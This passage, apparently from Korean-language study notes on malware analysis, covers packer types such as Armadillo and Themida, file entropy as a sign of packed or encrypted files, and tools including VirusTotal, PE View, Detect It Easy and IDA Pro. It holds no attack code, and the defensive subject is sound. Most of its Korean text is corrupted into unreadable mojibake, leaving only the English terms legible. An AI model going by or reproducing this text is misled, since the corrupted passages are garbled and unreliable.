| 7 | ํจ์ปค ์ ์์๊ฐ ๋ฏธ๋ฆฌ ๊ฒฐ์ ํ ํน์ ์ธ๋ถ ์กฐ๊ฑด ํ์์๋ง ์๋ณธ ํ๋ก๊ทธ๋จ์ ๋จ์ผ fragment๋ง ์ธํจํน๋๋ ํจ์ปค. ์: Armadillo |
| 8 | ๊ฐ์ํ(Virtualization)๋ฅผ ์ฌ์ฉํ ์ธํจํน, ์: Themida |
Malware Entropy

- ํ์ผ์ ๋ฌด์์์ฑ(randomness)์ ์ธก์ ํ๋ ์ฒ๋
- ํจํน๋๊ฑฐ๋ ์ํธํ๋ ํ์ผ์ ์ผ๋ฐ์ ์ผ๋ก ์ํธ๋กํผ๊ฐ ๋๊ฒ ๋ํ๋๋ฏ๋ก, ์ ์ฑ์ฝ๋ ํ์ง์ ํ ์งํ๋ก ์ฌ์ฉ๋ ์ ์์.
Malware Analysis Tools
- Virus Total: ์น ๊ธฐ๋ฐ ์๋น์ค๋ก, ์ฌ๋ฌ anti-virus ์์ง์ ์ฌ์ฉํ์ฌ ํ์ผ์ ์ค์บํ๊ณ ๋ถ์ ๊ฒฐ๊ณผ๋ฅผ ์ ๊ณต
- PE View: ์๋์ฐ ์คํ ํ์ผ(PE)์ ๊ตฌ์กฐ๋ฅผ ์์ธํ๊ฒ ๋ณด์ฌ์ฃผ๋ ๋๊ตฌ
- Detect It Easy (DIE): ํ์ผ์ ์ข ๋ฅ, ์ฌ์ฉ๋ ํจ์ปค, ์ํธ๋กํผ, ๋ฌธ์์ด ๋ฑ ๋ค์ํ ์ ๋ณด๋ฅผ ๋ถ์ํ๋ ๋๊ตฌ
- IDA Pro: Hex-rays์ฌ์์ ๊ฐ๋ฐํ ๊ฐ๋ ฅํ disassembler ๋๊ตฌ๋ก, ๋ฆฌ๋ฒ์ค ์์ง๋์ด๋ง ๋ฐ ์ ์ฑ์ฝ๋ ๋ถ์์ ๋๋ฆฌ ์ฌ์ฉ

